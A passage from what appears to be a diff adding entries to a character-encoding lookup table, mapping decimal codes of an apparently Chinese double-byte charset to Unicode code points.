+23410 => 22419, 23411 => 22432, 23412 => 22485, 23413 => 22488, 23414 => 22490,
+23415 => 22489, 23416 => 22482, 23417 => 22456, 23418 => 22516, 23419 => 22511,
+23420 => 22520, 23421 => 22500, 23422 => 22493, 23585 => 22539, 23586 => 22541,
+23587 => 22525, 23588 => 22509, 23589 => 22528, 23590 => 22558, 23591 => 22553,
+23592 => 22596, 23593 => 22560, 23594 => 22629, 23595 => 22636, 23596 => 22657,
+23597 => 22665, 23598 => 22682, 23599 => 22656, 23600 => 39336, 23601 => 40729,
+23602 => 25087, 23603 => 33401, 23604 => 33405, 23605 => 33407, 23606 => 33423,
+23607 => 33418, 23608 => 33448, 23609 => 33412, 23610 => 33422, 23611 => 33425,
+23612 => 33431, 23613 => 33433, 23614 => 33451, 23615 => 33464, 23616 => 33470,
+23617 => 33456, 23618 => 33480, 23619 => 33482, 23620 => 33507, 23621 => 33432,
+23622 => 33463, 23623 => 33454, 23624 => 33483, 23625 => 33484, 23626 => 33473,
+23627 => 33449, 23628 => 33460, 23629 => 33441, 23630 => 33450, 23631 => 33439,
+23632 => 33476, 23633 => 33486, 23634 => 33444, 23635 => 33505, 23636 => 33545,
+23637 => 33527, 23638 => 33508, 23639 => 33551, 23640 => 33543, 23641 => 33500,
+23642 => 33524, 23643 => 33490, 23644 => 33496, 23645 => 33548, 23646 => 33531,
+23647 => 33491, 23648 => 33553, 23649 => 33562, 23650 => 33542, 23651 => 33556,
+23652 => 33557, 23653 => 33504, 23654 => 33493, 23655 => 33564, 23656 => 33617,
+23657 => 33627, 23658 => 33628, 23659 => 33544, 23660 => 33682, 23661 => 33596,
+23662 => 33588, 23663 => 33585, 23664 => 33691, 23665 => 33630, 23666 => 33583,
+23667 => 33615, 23668 => 33607, 23669 => 33603, 23670 => 33631, 23671 => 33600,
+23672 => 33559, 23673 => 33632, 23674 => 33581, 23675 => 33594, 23676 => 33587,
+23677 => 33638, 23678 => 33637, 23841 => 33640, 23842 => 33563, 23843 => 33641,
+23844 => 33644, 23845 => 33642, 23846 => 33645, 23847 => 33646, 23848 => 33712,
+23849 => 33656, 23850 => 33715, 23851 => 33716, 23852 => 33696, 23853 => 33706,
+23854 => 33683, 23855 => 33692, 23856 => 33669, 23857 => 33660, 23858 => 33718,
+23859 => 33705, 23860 => 33661, 23861 => 33720, 23862 => 33659, 23863 => 33688,
+23864 => 33694, 23865 => 33704, 23866 => 33722, 23867 => 33724, 23868 => 33729,
+23869 => 33793, 23870 => 33765, 23871 => 33752, 23872 => 22535, 23873 => 33816,
+23874 => 33803, 23875 => 33757, 23876 => 33789, 23877 => 33750, 23878 => 33820,
+23879 => 33848, 23880 => 33809, 23881 => 33798, 23882 => 33748, 23883 => 33759,
+23884 => 33807, 23885 => 33795, 23886 => 33784, 23887 => 33785, 23888 => 33770,
+23889 => 33733, 23890 => 33728, 23891 => 33830, 23892 => 33776, 23893 => 33761,
+23894 => 33884, 23895 => 33873, 23896 => 33882, 23897 => 33881, 23898 => 33907,
+23899 => 33927, 23900 => 33928, 23901 => 33914, 23902 => 33929, 23903 => 33912,
+23904 => 33852, 23905 => 33862, 23906 => 33897, 23907 => 33910, 23908 => 33932,
+23909 => 33934, 23910 => 33841, 23911 => 33901, 23912 => 33985, 23913 => 33997,
+23914 => 34000, 23915 => 34022, 23916 => 33981, 23917 => 34003, 23918 => 33994,
+23919 => 33983, 23920 => 33978, 23921 => 34016, 23922 => 33953, 23923 => 33977,
+23924 => 33972, 23925 => 33943, 23926 => 34021, 23927 => 34019, 23928 => 34060,
+23929 => 29965, 23930 => 34104, 23931 => 34032, 23932 => 34105, 23933 => 34079,
+23934 => 34106, 24097 => 34134, 24098 => 34107, 24099 => 34047, 24100 => 34044,
+24101 => 34137, 24102 => 34120, 24103 => 34152, 24104 => 34148, 24105 => 34142,
+24106 => 34170, 24107 => 30626, 24108 => 34115, 24109 => 34162, 24110 => 34171,
+24111 => 34212, 24112 => 34216, 24113 => 34183, 24114 => 34191, 24115 => 34169,
+24116 => 34222, 24117 => 34204, 24118 => 34181, 24119 => 34233, 24120 => 34231,
+24121 => 34224, 24122 => 34259, 24123 => 34241, 24124 => 34268, 24125 => 34303,
+24126 => 34343, 24127 => 34309, 24128 => 34345, 24129 => 34326, 24130 => 34364,
+24131 => 24318, 24132 => 24328, 24133 => 22844, 24134 => 22849, 24135 => 32823,
+24136 => 22869, 24137 => 22874, 24138 => 22872, 24139 => 21263, 24140 => 23586,
+24141 => 23589, 24142 => 23596, 24143 => 23604, 24144 => 25164, 24145 => 25194,
+24146 => 25247, 24147 => 25275, 24148 => 25290, 24149 => 25306, 24150 => 25303,
+24151 => 25326, 24152 => 25378, 24153 => 25334, 24154 => 25401, 24155 => 25419,
+24156 => 25411, 24157 => 25517, 24158 => 25590, 24159 => 25457, 24160 => 25466,
+24161 => 25486, 24162 => 25524, 24163 => 25453, 24164 => 25516, 24165 => 25482,
+24166 => 25449, 24167 => 25518, 24168 => 25532, 24169 => 25586, 24170 => 25592,
+24171 => 25568, 24172 => 25599, 24173 => 25540, 24174 => 25566, 24175 => 25550,
+24176 => 25682, 24177 => 25542, 24178 => 25534, 24179 => 25669, 24180 => 25665,
+24181 => 25611, 24182 => 25627, 24183 => 25632, 24184 => 25612, 24185 => 25638,
+24186 => 25633, 24187 => 25694, 24188 => 25732, 24189 => 25709, 24190 => 25750,
+24353 => 25722, 24354 => 25783, 24355 => 25784, 24356 => 25753, 24357 => 25786,
+24358 => 25792, 24359 => 25808, 24360 => 25815, 24361 => 25828, 24362 => 25826,
+24363 => 25865, 24364 => 25893, 24365 => 25902, 24366 => 24331, 24367 => 24530,
+24368 => 29977, 24369 => 24337, 24370 => 21343, 24371 => 21489, 24372 => 21501,
+24373 => 21481, 24374 => 21480, 24375 => 21499, 24376 => 21522, 24377 => 21526,
+24378 => 21510, 24379 => 21579, 24380 => 21586, 24381 => 21587, 24382 => 21588,
+24383 => 21590, 24384 => 21571, 24385 => 21537, 24386 => 21591, 24387 => 21593,
+24388 => 21539, 24389 => 21554, 24390 => 21634, 24391 => 21652, 24392 => 21623,
+24393 => 21617, 24394 => 21604, 24395 => 21658, 24396 => 21659, 24397 => 21636,
+24398 => 21622, 24399 => 21606, 24400 => 21661, 24401 => 21712, 24402 => 21677,
+24403 => 21698, 24404 => 21684, 24405 => 21714, 24406 => 21671, 24407 => 21670,
+24408 => 21715, 24409 => 21716, 24410 => 21618, 24411 => 21667, 24412 => 21717,
+24413 => 21691, 24414 => 21695, 24415 => 21708, 24416 => 21721, 24417 => 21722,
+24418 => 21724, 24419 => 21673, 24420 => 21674, 24421 => 21668, 24422 => 21725,
+24423 => 21711, 24424 => 21726, 24425 => 21787, 24426 => 21735, 24427 => 21792,
+24428 => 21757, 24429 => 21780, 24430 => 21747, 24431 => 21794, 24432 => 21795,
+24433 => 21775, 24434 => 21777, 24435 => 21799, 24436 => 21802, 24437 => 21863,
+24438 => 21903, 24439 => 21941, 24440 => 21833, 24441 => 21869, 24442 => 21825,
+24443 => 21845, 24444 => 21823, 24445 => 21840, 24446 => 21820, 24609 => 21815,
+24610 => 21846, 24611 => 21877, 24612 => 21878, 24613 => 21879, 24614 => 21811,
+24615 => 21808, 24616 => 21852, 24617 => 21899, 24618 => 21970, 24619 => 21891,
+24620 => 21937, 24621 => 21945, 24622 => 21896, 24623 => 21889, 24624 => 21919,
+24625 => 21886, 24626 => 21974, 24627 => 21905, 24628 => 21883, 24629 => 21983,
+24630 => 21949, 24631 => 21950, 24632 => 21908, 24633 => 21913, 24634 => 21994,
+24635 => 22007, 24636 => 21961, 24637 => 22047, 24638 => 21969, 24639 => 21995,
+24640 => 21996, 24641 => 21972, 24642 => 21990, 24643 => 21981, 24644 => 21956,
+24645 => 21999, 24646 => 21989, 24647 => 22002, 24648 => 22003, 24649 => 21964,
+24650 => 21965, 24651 => 21992, 24652 => 22005, 24653 => 21988, 24654 => 36756,
+24655 => 22046, 24656 => 22024, 24657 => 22028, 24658 => 22017, 24659 => 22052,
+24660 => 22051, 24661 => 22014, 24662 => 22016, 24663 => 22055, 24664 => 22061,
+24665 => 22104, 24666 => 22073, 24667 => 22103, 24668 => 22060, 24669 => 22093,
+24670 => 22114, 24671 => 22105, 24672 => 22108, 24673 => 22092, 24674 => 22100,
+24675 => 22150, 24676 => 22116, 24677 => 22129, 24678 => 22123, 24679 => 22139,
+24680 => 22140, 24681 => 22149, 24682 => 22163, 24683 => 22191, 24684 => 22228,
+24685 => 22231, 24686 => 22237, 24687 => 22241, 24688 => 22261, 24689 => 22251,
+24690 => 22265, 24691 => 22271, 24692 => 22276, 24693 => 22282, 24694 => 22281,
+24695 => 22300, 24696 => 24079, 24697 => 24089, 24698 => 24084, 24699 => 24081,
+24700 => 24113, 24701 => 24123, 24702 => 24124, 24865 => 24119, 24866 => 24132,
+24867 => 24148, 24868 => 24155, 24869 => 24158, 24870 => 24161, 24871 => 23692,
+24872 => 23674, 24873 => 23693, 24874 => 23696, 24875 => 23702, 24876 => 23688,
+24877 => 23704, 24878 => 23705, 24879 => 23697, 24880 => 23706, 24881 => 23708,
+24882 => 23733, 24883 => 23714, 24884 => 23741, 24885 => 23724, 24886 => 23723,
+24887 => 23729, 24888 => 23715, 24889 => 23745, 24890 => 23735, 24891 => 23748,
+24892 => 23762, 24893 => 23780, 24894 => 23755, 24895 => 23781, 24896 => 23810,
+24897 => 23811, 24898 => 23847, 24899 => 23846, 24900 => 23854, 24901 => 23844,
+24902 => 23838, 24903 => 23814, 24904 => 23835, 24905 => 23896, 24906 => 23870,
+24907 => 23860, 24908 => 23869, 24909 => 23916, 24910 => 23899, 24911 => 23919,
+24912 => 23901, 24913 => 23915, 24914 => 23883, 24915 => 23882, 24916 => 23913,
+24917 => 23924, 24918 => 23938, 24919 => 23961, 24920 => 23965, 24921 => 35955,
+24922 => 23991, 24923 => 24005, 24924 => 24435, 24925 => 24439, 24926 => 24450,
+24927 => 24455, 24928 => 24457, 24929 => 24460, 24930 => 24469, 24931 => 24473,
+24932 => 24476, 24933 => 24488, 24934 => 24493, 24935 => 24501, 24936 => 24508,
+24937 => 34914, 24938 => 24417, 24939 => 29357, 24940 => 29360, 24941 => 29364,
+24942 => 29367, 24943 => 29368, 24944 => 29379, 24945 => 29377, 24946 => 29390,
+24947 => 29389, 24948 => 29394, 24949 => 29416, 24950 => 29423, 24951 => 29417,
+24952 => 29426, 24953 => 29428, 24954 => 29431, 24955 => 29441, 24956 => 29427,
+24957 => 29443, 24958 => 29434, 25121 => 29435, 25122 => 29463, 25123 => 29459,
+25124 => 29473, 25125 => 29450, 25126 => 29470, 25127 => 29469, 25128 => 29461,
+25129 => 29474, 25130 => 29497, 25131 => 29477, 25132 => 29484, 25133 => 29496,
+25134 => 29489, 25135 => 29520, 25136 => 29517, 25137 => 29527, 25138 => 29536,
+25139 => 29548, 25140 => 29551, 25141 => 29566, 25142 => 33307, 25143 => 22821,
+25144 => 39143, 25145 => 22820, 25146 => 22786, 25147 => 39267, 25148 => 39271,
+25149 => 39272, 25150 => 39273, 25151 => 39274, 25152 => 39275, 25153 => 39276,
+25154 => 39284, 25155 => 39287, 25156 => 39293, 25157 => 39296, 25158 => 39300,
+25159 => 39303, 25160 => 39306, 25161 => 39309, 25162 => 39312, 25163 => 39313,
+25164 => 39315, 25165 => 39316, 25166 => 39317, 25167 => 24192, 25168 => 24209,
+25169 => 24203, 25170 => 24214, 25171 => 24229, 25172 => 24224, 25173 => 24249,
+25174 => 24245, 25175 => 24254, 25176 => 24243, 25177 => 36179, 25178 => 24274,
+25179 => 24273, 25180 => 24283, 25181 => 24296, 25182 => 24298, 25183 => 33210,
+25184 => 24516, 25185 => 24521, 25186 => 24534, 25187 => 24527, 25188 => 24579,
+25189 => 24558, 25190 => 24580, 25191 => 24545, 25192 => 24548, 25193 => 24574,
+25194 => 24581, 25195 => 24582, 25196 => 24554, 25197 => 24557, 25198 => 24568,
+25199 => 24601, 25200 => 24629, 25201 => 24614, 25202 => 24603, 25203 => 24591,
+25204 => 24589, 25205 => 24617, 25206 => 24619, 25207 => 24586, 25208 => 24639,
+25209 => 24609, 25210 => 24696, 25211 => 24697, 25212 => 24699, 25213 => 24698,
+25214 => 24642, 25377 => 24682, 25378 => 24701, 25379 => 24726, 25380 => 24730,
+25381 => 24749, 25382 => 24733, 25383 => 24707, 25384 => 24722, 25385 => 24716,
+25386 => 24731, 25387 => 24812, 25388 => 24763, 25389 => 24753, 25390 => 24797,
+25391 => 24792, 25392 => 24774, 25393 => 24794, 25394 => 24756, 25395 => 24864,
+25396 => 24870, 25397 => 24853, 25398 => 24867, 25399 => 24820, 25400 => 24832,
+25401 => 24846, 25402 => 24875, 25403 => 24906, 25404 => 24949, 25405 => 25004,
+25406 => 24980, 25407 => 24999, 25408 => 25015, 25409 => 25044, 25410 => 25077,
+25411 => 24541, 25412 => 38579, 25413 => 38377, 25414 => 38379, 25415 => 38385,
+25416 => 38387, 25417 => 38389, 25418 => 38390, 25419 => 38396, 25420 => 38398,
+25421 => 38403, 25422 => 38404, 25423 => 38406, 25424 => 38408, 25425 => 38410,
+25426 => 38411, 25427 => 38412, 25428 => 38413, 25429 => 38415, 25430 => 38418,
+25431 => 38421, 25432 => 38422, 25433 => 38423, 25434 => 38425, 25435 => 38426,
+25436 => 20012, 25437 => 29247, 25438 => 25109, 25439 => 27701, 25440 => 27732,
+25441 => 27740, 25442 => 27722, 25443 => 27811, 25444 => 27781, 25445 => 27792,
+25446 => 27796, 25447 => 27788, 25448 => 27752, 25449 => 27753, 25450 => 27764,
+25451 => 27766, 25452 => 27782, 25453 => 27817, 25454 => 27856, 25455 => 27860,
+25456 => 27821, 25457 => 27895, 25458 => 27896, 25459 => 27889, 25460 => 27863,
+25461 => 27826, 25462 => 27872, 25463 => 27862, 25464 => 27898, 25465 => 27883,
+25466 => 27886, 25467 => 27825, 25468 => 27859, 25469 => 27887, 25470 => 27902,
+25633 => 27961, 25634 => 27943, 25635 => 27916, 25636 => 27971, 25637 => 27976,
+25638 => 27911, 25639 => 27908, 25640 => 27929, 25641 => 27918, 25642 => 27947,
+25643 => 27981, 25644 => 27950, 25645 => 27957, 25646 => 27930, 25647 => 27983,
+25648 => 27986, 25649 => 27988, 25650 => 27955, 25651 => 28049, 25652 => 28015,
+25653 => 28062, 25654 => 28064, 25655 => 27998, 25656 => 28051, 25657 => 28052,
+25658 => 27996, 25659 => 28000, 25660 => 28028, 25661 => 28003, 25662 => 28186,
+25663 => 28103, 25664 => 28101, 25665 => 28126, 25666 => 28174, 25667 => 28095,
+25668 => 28128, 25669 => 28177, 25670 => 28134, 25671 => 28125, 25672 => 28121,
+25673 => 28182, 25674 => 28075, 25675 => 28172, 25676 => 28078, 25677 => 28203,
+25678 => 28270, 25679 => 28238, 25680 => 28267, 25681 => 28338, 25682 => 28255,
+25683 => 28294, 25684 => 28243, 25685 => 28244, 25686 => 28210, 25687 => 28197,
+25688 => 28228, 25689 => 28383, 25690 => 28337, 25691 => 28312, 25692 => 28384,
+25693 => 28461, 25694 => 28386, 25695 => 28325, 25696 => 28327, 25697 => 28349,
+25698 => 28347, 25699 => 28343, 25700 => 28375, 25701 => 28340, 25702 => 28367,
+25703 => 28303, 25704 => 28354, 25705 => 28319, 25706 => 28514, 25707 => 28486,
+25708 => 28487, 25709 => 28452, 25710 => 28437, 25711 => 28409, 25712 => 28463,
+25713 => 28470, 25714 => 28491, 25715 => 28532, 25716 => 28458, 25717 => 28425,
+25718 => 28457, 25719 => 28553, 25720 => 28557, 25721 => 28556, 25722 => 28536,
+25723 => 28530, 25724 => 28540, 25725 => 28538, 25726 => 28625, 25889 => 28617,
+25890 => 28583, 25891 => 28601, 25892 => 28598, 25893 => 28610, 25894 => 28641,
+25895 => 28654, 25896 => 28638, 25897 => 28640, 25898 => 28655, 25899 => 28698,
+25900 => 28707, 25901 => 28699, 25902 => 28729, 25903 => 28725, 25904 => 28751,
+25905 => 28766, 25906 => 23424, 25907 => 23428, 25908 => 23445, 25909 => 23443,
+25910 => 23461, 25911 => 23480, 25912 => 29999, 25913 => 39582, 25914 => 25652,
+25915 => 23524, 25916 => 23534, 25917 => 35120, 25918 => 23536, 25919 => 36423,
+25920 => 35591, 25921 => 36790, 25922 => 36819, 25923 => 36821, 25924 => 36837,
+25925 => 36846, 25926 => 36836, 25927 => 36841, 25928 => 36838, 25929 => 36851,
+25930 => 36840, 25931 => 36869, 25932 => 36868, 25933 => 36875, 25934 => 36902,
+25935 => 36881, 25936 => 36877, 25937 => 36886, 25938 => 36897, 25939 => 36917,
+25940 => 36918, 25941 => 36909, 25942 => 36911, 25943 => 36932, 25944 => 36945,
+25945 => 36946, 25946 => 36944, 25947 => 36968, 25948 => 36952, 25949 => 36962,
+25950 => 36955, 25951 => 26297, 25952 => 36980, 25953 => 36989, 25954 => 36994,
+25955 => 37000, 25956 => 36995, 25957 => 37003, 25958 => 24400, 25959 => 24407,
+25960 => 24406, 25961 => 24408, 25962 => 23611, 25963 => 21675, 25964 => 23632,
+25965 => 23641, 25966 => 23409, 25967 => 23651, 25968 => 23654, 25969 => 32700,
+25970 => 24362, 25971 => 24361, 25972 => 24365, 25973 => 33396, 25974 => 24380,
+25975 => 39739, 25976 => 23662, 25977 => 22913, 25978 => 22915, 25979 => 22925,
+25980 => 22953, 25981 => 22954, 25982 => 22947, 26145 => 22935, 26146 => 22986,
+26147 => 22955, 26148 => 22942, 26149 => 22948, 26150 => 22994, 26151 => 22962,
+26152 => 22959, 26153 => 22999, 26154 => 22974, 26155 => 23045, 26156 => 23046,
+26157 => 23005, 26158 => 23048, 26159 => 23011, 26160 => 23000, 26161 => 23033,
+26162 => 23052, 26163 => 23049, 26164 => 23090, 26165 => 23092, 26166 => 23057,
+26167 => 23075, 26168 => 23059, 26169 => 23104, 26170 => 23143, 26171 => 23114,
+26172 => 23125, 26173 => 23100, 26174 => 23138, 26175 => 23157, 26176 => 33004,
+26177 => 23210, 26178 => 23195, 26179 => 23159, 26180 => 23162, 26181 => 23230,
+26182 => 23275, 26183 => 23218, 26184 => 23250, 26185 => 23252, 26186 => 23224,
+26187 => 23264, 26188 => 23267, 26189 => 23281, 26190 => 23254, 26191 => 23270,
+26192 => 23256, 26193 => 23260, 26194 => 23305, 26195 => 23319, 26196 => 23318,
+26197 => 23346, 26198 => 23351, 26199 => 23360, 26200 => 23573, 26201 => 23580,
+26202 => 23386, 26203 => 23397, 26204 => 23411, 26205 => 23377, 26206 => 23379,
+26207 => 23394, 26208 => 39541, 26209 => 39543, 26210 => 39544, 26211 => 39546,
+26212 => 39551, 26213 => 39549, 26214 => 39552, 26215 => 39553, 26216 => 39557,
+26217 => 39560, 26218 => 39562, 26219 => 39568, 26220 => 39570, 26221 => 39571,
+26222 => 39574, 26223 => 39576, 26224 => 39579, 26225 => 39580, 26226 => 39581,
+26227 => 39583, 26228 => 39584, 26229 => 39586, 26230 => 39587, 26231 => 39589,
+26232 => 39591, 26233 => 32415, 26234 => 32417, 26235 => 32419, 26236 => 32421,
+26237 => 32424, 26238 => 32425, 26401 => 32429, 26402 => 32432, 26403 => 32446,
+26404 => 32448, 26405 => 32449, 26406 => 32450, 26407 => 32457, 26408 => 32459,
+26409 => 32460, 26410 => 32464, 26411 => 32468, 26412 => 32471, 26413 => 32475,
+26414 => 32480, 26415 => 32481, 26416 => 32488, 26417 => 32491, 26418 => 32494,
+26419 => 32495, 26420 => 32497, 26421 => 32498, 26422 => 32525, 26423 => 32502,
+26424 => 32506, 26425 => 32507, 26426 => 32510, 26427 => 32513, 26428 => 32514,
+26429 => 32515, 26430 => 32519, 26431 => 32520, 26432 => 32523, 26433 => 32524,
+26434 => 32527, 26435 => 32529, 26436 => 32530, 26437 => 32535, 26438 => 32537,
+26439 => 32540, 26440 => 32539, 26441 => 32543, 26442 => 32545, 26443 => 32546,
+26444 => 32547, 26445 => 32548, 26446 => 32549, 26447 => 32550, 26448 => 32551,
+26449 => 32554, 26450 => 32555, 26451 => 32556, 26452 => 32557, 26453 => 32559,
+26454 => 32560, 26455 => 32561, 26456 => 32562, 26457 => 32563, 26458 => 32565,
+26459 => 24186, 26460 => 30079, 26461 => 24027, 26462 => 30014, 26463 => 37013,
+26464 => 29582, 26465 => 29585, 26466 => 29614, 26467 => 29602, 26468 => 29599,
+26469 => 29647, 26470 => 29634, 26471 => 29649, 26472 => 29623, 26473 => 29619,
+26474 => 29632, 26475 => 29641, 26476 => 29640, 26477 => 29669, 26478 => 29657,
+26479 => 39036, 26480 => 29706, 26481 => 29673, 26482 => 29671, 26483 => 29662,
+26484 => 29626, 26485 => 29682, 26486 => 29711, 26487 => 29738, 26488 => 29787,
+26489 => 29734, 26490 => 29733, 26491 => 29736, 26492 => 29744, 26493 => 29742,
+26494 => 29740, 26657 => 29723, 26658 => 29722, 26659 => 29761, 26660 => 29788,
+26661 => 29783, 26662 => 29781, 26663 => 29785, 26664 => 29815, 26665 => 29805,
+26666 => 29822, 26667 => 29852, 26668 => 29838, 26669 => 29824, 26670 => 29825,
+26671 => 29831, 26672 => 29835, 26673 => 29854, 26674 => 29864, 26675 => 29865,
+26676 => 29840, 26677 => 29863, 26678 => 29906, 26679 => 29882, 26680 => 38890,
+26681 => 38891, 26682 => 38892, 26683 => 26444, 26684 => 26451, 26685 => 26462,
+26686 => 26440, 26687 => 26473, 26688 => 26533, 26689 => 26503, 26690 => 26474,
+26691 => 26483, 26692 => 26520, 26693 => 26535, 26694 => 26485, 26695 => 26536,
+26696 => 26526, 26697 => 26541, 26698 => 26507, 26699 => 26487, 26700 => 26492,
+26701 => 26608, 26702 => 26633, 26703 => 26584, 26704 => 26634, 26705 => 26601,
+26706 => 26544, 26707 => 26636, 26708 => 26585, 26709 => 26549, 26710 => 26586,
+26711 => 26547, 26712 => 26589, 26713 => 26624, 26714 => 26563, 26715 => 26552,
+26716 => 26594, 26717 => 26638, 26718 => 26561, 26719 => 26621, 26720 => 26674,
+26721 => 26675, 26722 => 26720, 26723 => 26721, 26724 => 26702, 26725 => 26722,
+26726 => 26692, 26727 => 26724, 26728 => 26755, 26729 => 26653, 26730 => 26709,
+26731 => 26726, 26732 => 26689, 26733 => 26727, 26734 => 26688, 26735 => 26686,
+26736 => 26698, 26737 => 26697, 26738 => 26665, 26739 => 26805, 26740 => 26767,
+26741 => 26740, 26742 => 26743, 26743 => 26771, 26744 => 26731, 26745 => 26818,
+26746 => 26990, 26747 => 26876, 26748 => 26911, 26749 => 26912, 26750 => 26873,
+26913 => 26916, 26914 => 26864, 26915 => 26891, 26916 => 26881, 26917 => 26967,
+26918 => 26851, 26919 => 26896, 26920 => 26993, 26921 => 26937, 26922 => 26976,
+26923 => 26946, 26924 => 26973, 26925 => 27012, 26926 => 26987, 26927 => 27008,
+26928 => 27032, 26929 => 27000, 26930 => 26932, 26931 => 27084, 26932 => 27015,
+26933 => 27016, 26934 => 27086, 26935 => 27017, 26936 => 26982, 26937 => 26979,
+26938 => 27001, 26939 => 27035, 26940 => 27047, 26941 => 27067, 26942 => 27051,
+26943 => 27053, 26944 => 27092, 26945 => 27057, 26946 => 27073, 26947 => 27082,
+26948 => 27103, 26949 => 27029, 26950 => 27104, 26951 => 27021, 26952 => 27135,
+26953 => 27183, 26954 => 27117, 26955 => 27159, 26956 => 27160, 26957 => 27237,
+26958 => 27122, 26959 => 27204, 26960 => 27198, 26961 => 27296, 26962 => 27216,
+26963 => 27227, 26964 => 27189, 26965 => 27278, 26966 => 27257, 26967 => 27197,
+26968 => 27176, 26969 => 27224, 26970 => 27260, 26971 => 27281, 26972 => 27280,
+26973 => 27305, 26974 => 27287, 26975 => 27307, 26976 => 29495, 26977 => 29522,
+26978 => 27521, 26979 => 27522, 26980 => 27527, 26981 => 27524, 26982 => 27538,
+26983 => 27539, 26984 => 27533, 26985 => 27546, 26986 => 27547, 26987 => 27553,
+26988 => 27562, 26989 => 36715, 26990 => 36717, 26991 => 36721, 26992 => 36722,
+26993 => 36723, 26994 => 36725, 26995 => 36726, 26996 => 36728, 26997 => 36727,
+26998 => 36729, 26999 => 36730, 27000 => 36732, 27001 => 36734, 27002 => 36737,
+27003 => 36738, 27004 => 36740, 27005 => 36743, 27006 => 36747, 27169 => 36749,
+27170 => 36750, 27171 => 36751, 27172 => 36760, 27173 => 36762, 27174 => 36558,
+27175 => 25099, 27176 => 25111, 27177 => 25115, 27178 => 25119, 27179 => 25122,
+27180 => 25121, 27181 => 25125, 27182 => 25124, 27183 => 25132, 27184 => 33255,
+27185 => 29935, 27186 => 29940, 27187 => 29951, 27188 => 29967, 27189 => 29969,
+27190 => 29971, 27191 => 25908, 27192 => 26094, 27193 => 26095, 27194 => 26096,
+27195 => 26122, 27196 => 26137, 27197 => 26482, 27198 => 26115, 27199 => 26133,
+27200 => 26112, 27201 => 28805, 27202 => 26359, 27203 => 26141, 27204 => 26164,
+27205 => 26161, 27206 => 26166, 27207 => 26165, 27208 => 32774, 27209 => 26207,
+27210 => 26196, 27211 => 26177, 27212 => 26191, 27213 => 26198, 27214 => 26209,
+27215 => 26199, 27216 => 26231, 27217 => 26244, 27218 => 26252, 27219 => 26279,
+27220 => 26269, 27221 => 26302, 27222 => 26331, 27223 => 26332, 27224 => 26342,
+27225 => 26345, 27226 => 36146, 27227 => 36147, 27228 => 36150, 27229 => 36155,
+27230 => 36157, 27231 => 36160, 27232 => 36165, 27233 => 36166, 27234 => 36168,
+27235 => 36169, 27236 => 36167, 27237 => 36173, 27238 => 36181, 27239 => 36185,
+27240 => 35271, 27241 => 35274, 27242 => 35275, 27243 => 35276, 27244 => 35278,
+27245 => 35279, 27246 => 35280, 27247 => 35281, 27248 => 29294, 27249 => 29343,
+27250 => 29277, 27251 => 29286, 27252 => 29295, 27253 => 29310, 27254 => 29311,
+27255 => 29316, 27256 => 29323, 27257 => 29325, 27258 => 29327, 27259 => 29330,
+27260 => 25352, 27261 => 25394, 27262 => 25520, 27425 => 25663, 27426 => 25816,
+27427 => 32772, 27428 => 27626, 27429 => 27635, 27430 => 27645, 27431 => 27637,
+27432 => 27641, 27433 => 27653, 27434 => 27655, 27435 => 27654, 27436 => 27661,
+27437 => 27669, 27438 => 27672, 27439 => 27673, 27440 => 27674, 27441 => 27681,
+27442 => 27689, 27443 => 27684, 27444 => 27690, 27445 => 27698, 27446 => 25909,
+27447 => 25941, 27448 => 25963, 27449 => 29261, 27450 => 29266, 27451 => 29270,
+27452 => 29232, 27453 => 34402, 27454 => 21014, 27455 => 32927, 27456 => 32924,
+27457 => 32915, 27458 => 32956, 27459 => 26378, 27460 => 32957, 27461 => 32945,
+27462 => 32939, 27463 => 32941, 27464 => 32948, 27465 => 32951, 27466 => 32999,
+27467 => 33000, 27468 => 33001, 27469 => 33002, 27470 => 32987, 27471 => 32962,
+27472 => 32964, 27473 => 32985, 27474 => 32973, 27475 => 32983, 27476 => 26384,
+27477 => 32989, 27478 => 33003, 27479 => 33009, 27480 => 33012, 27481 => 33005,
+27482 => 33037, 27483 => 33038, 27484 => 33010, 27485 => 33020, 27486 => 26389,
+27487 => 33042, 27488 => 35930, 27489 => 33078, 27490 => 33054, 27491 => 33068,
+27492 => 33048, 27493 => 33074, 27494 => 33096, 27495 => 33100, 27496 => 33107,
+27497 => 33140, 27498 => 33113, 27499 => 33114, 27500 => 33137, 27501 => 33120,
+27502 => 33129, 27503 => 33148, 27504 => 33149, 27505 => 33133, 27506 => 33127,
+27507 => 22605, 27508 => 23221, 27509 => 33160, 27510 => 33154, 27511 => 33169,
+27512 => 28373, 27513 => 33187, 27514 => 33194, 27515 => 33228, 27516 => 26406,
+27517 => 33226, 27518 => 33211, 27681 => 33217, 27682 => 33190, 27683 => 27428,
+27684 => 27447, 27685 => 27449, 27686 => 27459, 27687 => 27462, 27688 => 27481,
+27689 => 39121, 27690 => 39122, 27691 => 39123, 27692 => 39125, 27693 => 39129,
+27694 => 39130, 27695 => 27571, 27696 => 24384, 27697 => 27586, 27698 => 35315,
+27699 => 26000, 27700 => 40785, 27701 => 26003, 27702 => 26044, 27703 => 26054,
+27704 => 26052, 27705 => 26051, 27706 => 26060, 27707 => 26062, 27708 => 26066,
+27709 => 26070, 27710 => 28800, 27711 => 28828, 27712 => 28822, 27713 => 28829,
+27714 => 28859, 27715 => 28864, 27716 => 28855, 27717 => 28843, 27718 => 28849,
+27719 => 28904, 27720 => 28874, 27721 => 28944, 27722 => 28947, 27723 => 28950,
+27724 => 28975, 27725 => 28977, 27726 => 29043, 27727 => 29020, 27728 => 29032,
+27729 => 28997, 27730 => 29042, 27731 => 29002, 27732 => 29048, 27733 => 29050,
+27734 => 29080, 27735 => 29107, 27736 => 29109, 27737 => 29096, 27738 => 29088,
+27739 => 29152, 27740 => 29140, 27741 => 29159, 27742 => 29177, 27743 => 29213,
+27744 => 29224, 27745 => 28780, 27746 => 28952, 27747 => 29030, 27748 => 29113,
+27749 => 25150, 27750 => 25149, 27751 => 25155, 27752 => 25160, 27753 => 25161,
+27754 => 31035, 27755 => 31040, 27756 => 31046, 27757 => 31049, 27758 => 31067,
+27759 => 31068, 27760 => 31059, 27761 => 31066, 27762 => 31074, 27763 => 31063,
+27764 => 31072, 27765 => 31087, 27766 => 31079, 27767 => 31098, 27768 => 31109,
+27769 => 31114, 27770 => 31130, 27771 => 31143, 27772 => 31155, 27773 => 24529,
+27774 => 24528, 27937 => 24636, 27938 => 24669, 27939 => 24666, 27940 => 24679,
+27941 => 24641, 27942 => 24665, 27943 => 24675, 27944 => 24747, 27945 => 24838,
+27946 => 24845, 27947 => 24925, 27948 => 25001, 27949 => 24989, 27950 => 25035,
+27951 => 25041, 27952 => 25094, 27953 => 32896, 27954 => 32895, 27955 => 27795,
